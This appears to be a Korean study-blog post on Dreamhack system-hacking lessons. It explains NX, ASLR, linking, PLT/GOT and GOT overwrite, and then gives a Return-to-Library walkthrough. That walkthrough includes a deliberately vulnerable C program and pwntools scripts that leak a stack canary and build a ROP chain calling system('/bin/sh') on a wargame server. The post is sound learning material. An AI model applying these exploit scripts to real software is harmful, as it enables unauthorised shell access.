NX (No-eXecute)
실행에 사용되는 메모리 영역, 쓰기에 사용되는 메모리 영역을 분리하는 보호 기법
: code 에 쓰기 권한 -> 코드를 수정하여 악의적 코드 실행
: stack, data에 실행 권한 -> return to shellcode 같은 공격
NX enabled 인 경우, stack 에 rwxp가 아닌 rw-p 가 적용되며,
checksec 명령어를 통해 보호기법 확인 가능하다.
+ intel은 xd, 윈도우는 DEP(data execution prevention), ARM에서는 XN(execute never)이라고 칭한다.
ASLR (Address Space Layout Randomization)
바이너리가 실행될 때마다, stack,heap, 공유라이브러리 등을 임의의 주소에 할당하는 보호 기법
: 커널에서 지원하는 보호 기법
cat /proc/sys/kernel/randomize_va_space 명령어를 통해서 커널 보호기법 확인
출력되는 값에 따라 적용되는 메모리 영역이 다르다.
0 : no ASLR
1 : conservative randomization - 스택, 힙, 라이브러리, vdso 등
2 : conservative randomization + brk - 1의 영역 + brk로 할당된 영역
addr.c의 코드
stack영역의 buf_stack, heap영역의 buf_heap,
라이브러리 함수 printf, 라이브러리 매핑주소 libc_base, code영역의 main이 존재
-> code영역의 main이외에는 모두 주소가 변경
-> 계속 실행해도 libc_base 주소 하위 12비트 값과 printf 주소 하위 12비트 값은 동일
: linux는 ASLR이 적용될때 페이지 단위(12 bit) 로 임의 주소에 매핑 => 그 이하의 값들의 주소는 동일
( 16진수 0x7ffad9e1b000에서 하위 12비트는 이진수 12개 -> 이진수 4개가 16진수 1개이므로 하위 3개의 16진수..)
-> libc_base 와 printf의 주소차이는 동일 (aslr 적용시 라이브러리 파일 그대로 매핑 되므로 상대적으로 그 라이브러리의 심볼들 까지의 거리 offset은 동일)
NX, ASLR이 적용되면 스택,힙, 데이터 영역은 실행 권한이 제거되며 할당 주소가 계속 변동된다.
그러나 바이너리의 코드가 존재하는 영역은 여전히 실행 권한이 존재하며, 주소도 고정된다.
Static Link vs Dynamic Link
라이브러리
각 컴파일언어에서 범용적으로 자주 사용되는 함수는 하나의 라이브러리 파일을 만들어 이를 여러 프로그램이 공유해서 사용할 수 있도로 지원한다. 이를 통해 코드 개발의 효율이 높아진다.
: C 표준 라이브러리 libc - ubuntu에 기본 탑재된 library
링크
많은 프로그래밍 언어에서 컴파일의 마지막 단계로 특정 라이브러리의 함수를 이용 시에 호출된 함수와 실제 라이브러리의 함수가 링크 과정에서 연결된다.
(링크 전)
gcc -c helloworld.c -o helloworld.o : c 소스코드를 (전처리, 컴파일, assmeble 거친) ELF 형식을 갖춘 오브젝트 파일로 번역 , 그러나 library 함수의 정의가 어디있는 지 알 수 없어서 실행 불가
+gcc -o helloworld helloworld.c : c 소스코드를 실행 파일로 변경
(링크 후 - 컴파일 완료)
$ gcc -o hello-world hello-world.c
$ readelf -s hello-world | grep puts 시에 func에 대한 정보 확인 가능
gcc 는 소스코드를 컴파일 시 표준 라이브러리의 라이브러리 파일들을 모두 탐색한다.
링크를 거치고 나면 프로그램 내에서 puts호출 - puts의 정의가 있는 libc에서 puts 코드 탐색 - 실행
라이브러리와 링크의 종류
Dynamic Link 동적 링크
: 라이브러리가 프로세스의 메모리에 매핑 -> 실행 중에 라이브러리 함수 호출 시에 매핑된 곳에서 주소를 찾아 실행
== 위치 기억해서 실행시 참조 like tistory 속 내 지식
$gcc o dynamic helloworld.c -no-pie
Static Link 정적 링크
: 바이너리에 정적 라이브러리의 필요한 모든 함수가 포함
-> 라이브러리 참조가 아닌 로컬에서 호출하는 것처럼 호출 가능
== 걍 다 내꺼
$gcc o static helloworld.c -static
PLT(procedure linkage table) & GOT (global offset table)
: dynamic linked symbol의 주소를 찾을 때 사용하는 테이블
runtime resolve
: 바이너리 실행 -ASLR에 의한 라이브러리 임의의 주소 매핑 - 함수 호출 시 라이브러리에서 심볼 탐색,
함수 정의 발견 시에 그 주소로 실행흐름 변경
ELF는 GOT이라는 테이블을 투고 resolve된 함수 주소를 테이블에 저장
-> 재 호출시에 저장된 주소를 참조해서 사용
- resolve되기 전
puts의 엔트리인 0x 404018에는 함수 주소 대신 .plt 섹션 어딘가의 주소인 0x401030
_dl_runtime_resolve_fxsave함수에서 puts의 주소가 구해지며 GOT엔트리에 주소 작성
-> ni명령어 반복하여 함수 진행 후 finish를 통해 빠져나오면 puts의 GOT에
실제 puts의 주소인 0x 7ffff7e02ed0 을 찾아볼 수 있다.
- resolve 된 후
put@plt 의 두번째 호출 시에는 got엔트리 속 실제 puts의 주소를 바로 찾아 실행
시스템 해킹의 관점에서 본 PLT와 GOT
GOT를 참조하여 실행흐름을 옮길 떄, GOT값의 검증이 존재하지 않아 보안상의 취약점 존재!
GOT Overwrite
=> GOT엔트리에 임의의 값을 overwrite하여 실행 흐름을 변조하는 공격 기법
(복습)
Return to Library
libc (C 프로그램이 참조하는 리아브러리)의 함수들로 NX를 우회하고 셸을 획득하는 공격 기법
: nx로 인해 공격자가 버퍼에 입력한 셸 코드를 실행시키기는 어려워졌으나, stack buffer overflow로 반환 주소를 덮는 것은 여전히 가능 => 실행권한이 남아있는 코드 영역을 반환 주소로 덮는 공격 기법을 고안
( x 가능 메모리 영역 : binary의 코드 영역, binary가 참조하는 라이브러리의 코드 영역 )
checksec을 통한 보호기법 확인
rtl.c 코드 분석
#include <stdio.h>
#include <unistd.h>
// 셸을 코드 섹션에 추가
const char* binsh = "/bin/sh";
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// PLT 에 system함수를 추가하기 위한 코드
// ASLR이 걸려있어도 PIE가 적용X라면 PLT의 주소는 고정
// => 무작위 매핑되는 라이브러리의 베이스 주소는 몰라도 라이브러리 함수 실행 가능
system("echo 'system@plt'");
// Leak canary
printf("[1] Leak Canary\n");
printf("Buf: ");
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Overwrite return address
printf("[2] Overwrite return address\n");
printf("Buf: ");
read(0, buf, 0x100);
return 0;
}
- Exploit 설계
1. 카나리 우회
2. rdi값을 "/bin/sh" 주소로 설정 및 셸 획득
: return to address overwrite에서 system("/bin/sh")를 호출하면 셸을 획득할 수 있음을 학습
-> x86-64의 호출 규약에 따라 rdi = "/bin/sh" 주소인 상태에서 system 함수를 호출한 것과 동일
==> /bin/sh 문자열 주소를 rdi로 설정할 수 있다면 system("/bin/sh") 실행 가능,
이를 위해서는 return 가젯을 사용해야한다.
리턴 가젯 Return gadget
ret 명령어로 끝나는 어셈블리 코드 조각
: 반환 주소를 덮는 공격의 유연성을 높여서 exploit에 필요한 조건을 만족할 수 있도록 설정
( rdi값을 "/bin/sh"로 설정 후 system호출, 이후 리턴 가젯을 이용하여 반환 주소와 이후의 버퍼를 다음과 같이
대부분의 함수는 ret으로 종료되므로 리턴 가젯으로 exploit가능
- Exploit
1. leak canary
#!/usr/bin/env python3 | |
# Name: rtl.py | |
from pwn import * | |
p = process('./rtl') | |
e = ELF('./rtl') | |
def slog(name, addr): return success(': '.join([name, hex(addr)])) | |
# [1] Leak canary | |
buf = b'A' * 0x39 | |
p.sendafter(b'Buf: ', buf) | |
p.recvuntil(buf) | |
cnry = u64(b'\x00' + p.recvn(7)) | |
slog('canary', cnry) |
canrary : 0x6d1a5da4ab1c0500
2. 리턴 가젯 찾기 w/t ROPgadget
--re 정규표현식으로 가젯을 "pop rdi"로 필터링하여 ret find out
3. 익스플로잇
search명령어를 통한 /bin/sh 주소 찾기
system함수의plt 주소 찾기
pwntool의 API를 통한 스크립트 작성
: 가젯으로 구성된 페이로드 작성 후, 페이로드로 반환 주소를 덮응면 셸획득
: system함수로 rip가 이동할 때, stack은 반듯이 0x10 단위로 정렬되어 있어야한다.
(system함수 내부의 movaps 명령어 때문 -> 정렬x 일 시에 segmentation fault 발생)
- Exploit Code
from pwn import *
def slog(name, addr):
return success(": ".join([name, hex(addr)]))
#context.log_level = 'debug'
p = remote("host3.dreamhack.games", 13915)
e = ELF("./rtl")
libc = e.libc
r = ROP(e)
# [0] Gathering Information
system_plt = e.symbols['system']
sh = next(e.search(b'/bin/sh'))
pop_rdi = r.find_gadget(['pop rdi'])[0]
ret = r.find_gadget(['ret'])[0]
slog("system@plt", system_plt)
slog("/bin/sh", sh)
slog("pop rdi", pop_rdi)
slog("ret", ret)
# [1] Leak Canary
buf2sfp = 0x40
buf2cnry = 0x40 - 0x8
payload = b'A'*(buf2cnry + 1)
p.sendafter("Buf: ", payload)
p.recvuntil(payload)
canary = u64(b'\x00'+p.recvn(7))
slog("Canary", canary)
# [2] Exploit
payload = b'A' * buf2cnry
payload += p64(canary)
payload += b'B' * 8
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(sh)
payload += p64(system_plt)
pause()
p.sendafter("Buf: ", payload)
p.interactive()
(Reference)
https://velog.io/@silvergun8291/Dreamhack-Return-to-Library
[Dreamhack] Return to Library
Canary와 NX 보호 기법이 걸려있습니다.read함수로 buf~canary 거리 + 1 만큼 입력을 주어 canary 앞 '\\x00'를 제거하면 printf 함수로 카나리를 출력하게 할 수 있습니다.read 함수로 buf에 0x30보다 훨씬 큰 0x10
velog.io
++ 추가
'System Hacking' 카테고리의 다른 글
PIE & RELRO (2) | dreamhack (0) | 2024.03.17 |
---|---|
PIE & RELRO(1) | dreamhack (0) | 2024.03.16 |
Bypass NX & ASLR(2) | dreamhack (0) | 2024.03.16 |
BOF & Canary | dreamhack (0) | 2024.03.10 |
Basic Pentesting 1(1) (0) | 2024.01.11 |